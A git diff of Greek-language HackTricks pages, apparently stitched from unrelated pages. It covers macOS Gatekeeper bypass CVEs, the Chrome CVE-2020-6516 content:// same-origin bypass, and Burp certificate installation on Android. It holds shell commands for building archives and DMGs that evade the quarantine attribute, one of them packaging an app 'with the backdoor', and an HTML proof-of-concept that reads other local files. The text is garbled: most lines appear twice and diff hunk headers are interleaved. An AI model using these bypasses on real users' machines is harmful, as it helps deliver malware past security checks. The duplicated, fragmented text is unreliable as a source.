Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο το _**AppleMobileFileIntegrity**_ (AMFI) θα ελέγχει μόνο τις **υπογραφές εκτελέσιμου κώδικα** όταν εκτελέσετε μια εφαρμογή που έχει ήδη εκτελεστεί και ελεγχθεί από το Gatekeeper.
{% endhint %}
Συνεπώς, παλαιότερα ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
Συνεπώς, παλαιότερα ήταν δυνατό να εκτελείτε μια εφαρμογή για να την κρατήσετε στη μνήμη cache με το Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα bundles των εφαρμογών. Έτσι, αν δοκιμάσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι πλέον δεν είναι δυνατό να την εκμεταλλευτείτε επειδή μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε, για παράδειγμα, το όνομα του φακέλου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό αρχείο της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα bundles εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι πλέον δεν είναι δυνατό να την εκμεταλλευτείτε επειδή μετά την εκτέλεση της εφαρμογής για να την κρατήσετε στη μνήμη cache με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε για παράδειγμα το όνομα του φακέλου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό αρχείο της εφαρμογής για να την κρατήσετε στη μνήμη cache με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
## Παρακάμψεις του Gatekeeper
## Παρακάμψεις Gatekeeper
Οποιαδήποτε μέθοδος για την παράκαμψη του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει κάτι και να το εκτελέσει όταν ο Gatekeeper θα έπρεπε να το απορρίψει) θεωρείται μια ευπάθεια στο macOS. Αυτά είναι μερικά CVEs που ανατέθηκαν σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
Οποιοδήποτε τρόπος παράκαμψης του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει κάτι και να το εκτελέσει όταν ο Gatekeeper θα έπρεπε να το απορρίψει) θεωρείται μια ευπάθεια στο macOS. Αυτά είναι μερικά CVEs που ανατέθηκαν σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την εξαγωγή, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει απρόθεστα σε αυτά τα αρχεία να **παρακάμψουν τους ελέγχους ασφαλείας του Gatekeeper**.
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την εξαγωγή, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επέκτασης com.apple.quarantine. Αυτή η κατάσταση επιτρέπει απρόθεντα σε αυτά τα αρχεία να **παρακάμψουν τους ελέγχους ασφαλείας του Gatekeeper**.
Ελέγξτε την [**αρχική αναφορά**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) για περισσότερες πληροφορίες.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλά ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
Συνεπώς, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιεί το Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr.
Συνεπώς, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιήσει το Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr.
Παράδειγμα αναμενόμενης τοποθεσίας: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -342,7 +341,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Σε αυτή την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Έτσι, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ελέγχετο από το Gatekeeper, οπότε το Gatekeeper παρακάμφθηκε επειδή όταν εκτελέστηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
Σε αυτή την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί από το `application.app`. Έτσι, η **προστασία καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ελέγχετο από το Gatekeeper, οπότε το Gatekeeper παρακάμφθηκε επειδή όταν ενεργοποιήθηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
```bash
zip -r test.app/Contents test.zip
```
@ -350,11 +349,11 @@ zip -r test.app/Contents test.zip
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
Ακόμα και αν τα στοιχεία είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`** έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
Ακόμα κι αν τα στοιχεία είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`** έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
```bash
aa archive -d test.app/Contents -o test.app.aar
```
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες.
Ελέγξτε την [**αρχική έκθεση**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες.
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
@ -367,7 +366,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει άλλα xattrs να γραφτούν σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει άλλα xattrs να γραφτούν σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -391,7 +390,7 @@ aa archive -d app -o test.aar
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, κάτι που βοηθά στην αντιγραφή των χαρακτηριστικών αρχείων **σε μηχανές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**.
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, κάτι που βοηθά στην αντιγραφή χαρακτηριστικών αρχείων **μεταξύ μηχανημάτων macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**.
```bash
mkdir test
echo a > test/a
@ -403,8 +402,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Μπορώντας να δημιουργήσετε ένα αρχείο που δεν θα έχει το χαρακτηριστικό καραντίνας, **ήταν δυνατό να παρακάμψετε το Gatekeeper.** Το κόλπο ήταν να **δημιουργήσετε ένα αρχείο DMG εφαρμογής** χρησιμοποιώντας το συμβολισμό ονομασίας AppleDouble (ξεκινώντας με `._`) και να δημιουργήσετε ένα **ορατό αρχείο ως σύμβολο σε αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμψει το Gatekeeper**.
Μπορώντας να δημιουργήσετε ένα αρχείο που δεν θα έχει ορισθεί η ιδιότητα καραντίνας, **ήταν δυνατό να παρακάμψετε το Gatekeeper.** Το κόλπο ήταν να **δημιουργήσετε ένα αρχείο εφαρμογής DMG** χρησιμοποιώντας το συμβολισμό ονομασίας AppleDouble (ξεκινώντας με `._`) και να δημιουργήσετε ένα **ορατό αρχείο ως σύμβολο σε αυτό το κρυφό** αρχείο χωρίς την ιδιότητα καραντίνας.\
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει ιδιότητα καραντίνας, θα **παρακάμψει το Gatekeeper**.
```bash
# Create an app bundle with the backdoor an call it app.app
@ -420,10 +419,6 @@ ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
```
### Αποτροπή του Quarantine xattr
### Αποτροπή Χαρακτηριστικού Καραντίνας xattr
Σε ένα πακέτο ".app", εάν το quarantine xattr δεν προστεθεί σε αυτό, όταν το εκτελέσετε **ο Gatekeeper δεν θα ενεργοποιηθεί**.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Σε ένα πακέτο ".app", εάν το χαρακτηριστικό καραντίνας xattr δεν προστεθεί σε αυτό, όταν το εκτελέσετε **ο Gatekeeper δεν θα ενεργοποιηθεί**.

View file

@ -1,38 +1,41 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Αυτό είναι ένα σύνοψη της δημοσίευσης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Καταχώρηση Αρχείων στο Media Store
Για να καταχωρήσετε τα αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
### Λίστα Αρχείων στο Media Store
Για να εμφανιστούν οι λίστες αρχείων που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
```bash
$ content query --uri content://media/external/file
```
Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζοντας μόνο τον αναγνωριστή και τη διαδρομή κάθε ευρετηριασμένου αρχείου:
Για μια πιο φιλική προς τον χρήστη έξοδο, εμφανίστε μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
### Πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του Android framework.
### Πάροχοι περιεχομένου
Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του πλαισίου Android.
### Πρόσβαση του Chrome σε Πάροχους Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το επιδείξουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store:
Εισαγωγή μιας προσαρμοσμένης καταχώρισης στο Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -48,19 +51,19 @@ content query --uri content://media/external/file \
```
Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστή του αρχείου.
Για παράδειγμα, για να εμφανιστούν τα αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή:
Για παράδειγμα, για να εμφανιστούν οι φάκελοι που σχετίζονται με μια συγκεκριμένη εφαρμογή:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Διασπορά της Πολιτικής Ίδιας Προέλευσης
Η _Ίδια Προέλευση Πολιτική_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Η _Ίδια Προέλευση Πολιτική_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Το Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, κάτι που αποτελούσε σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες του Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, που αποτελούσε σημαντική ανησυχία για την ασφάλεια, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν το Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση.
Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμά του στο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμα του στο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στο JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Παράδειγμα HTML Απόδειξης:
Παράδειγμα HTML για την επίδειξη:
```xml
<html>
<head>
@ -89,7 +92,7 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -103,6 +106,6 @@ xhr.send();
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -14,7 +14,7 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -25,7 +25,7 @@
![](<../../.gitbook/assets/image (367).png>)
**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να ρυθμίσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\
**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να διαμορφώσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\
Για παράδειγμα, μπορείτε να την τρέξετε ως:
{% code overflow="wrap" %}
@ -34,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
Στη συνέχεια, για **διαμόρφωση του πιστοποιητικού του burp**:
Στη συνέχεια, για να **διαμορφώσετε το πιστοποιητικό του burp**:
{% code overflow="wrap" %}
```bash
@ -53,11 +53,11 @@ adb reboot #Now, reboot the machine
## Χρησιμοποιώντας το Magisc
Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει κι άλλος τρόπος.
Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει άλλος τρόπος.
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να:
Εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να:
1. **Εγκαταστήσετε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp σε μορφή DER **αλλάζοντας την επέκταση** σε `.crt` στο κινητό σας ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA`
1. **Εγκαταστήστε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp σε μορφή DER **αλλάζοντας την κατάληξη** σε `.crt` στο κινητό ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA`
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
@ -65,7 +65,7 @@ adb reboot #Now, reboot the machine
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί κάντε **επανεκκίνηση** του τηλεφώνου:
2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί **επανεκκινήστε** το τηλέφωνο:
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
@ -75,13 +75,13 @@ adb reboot #Now, reboot the machine
## Μετά το Android 14
Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών αρχής (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ρουτ, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη από φύσης.
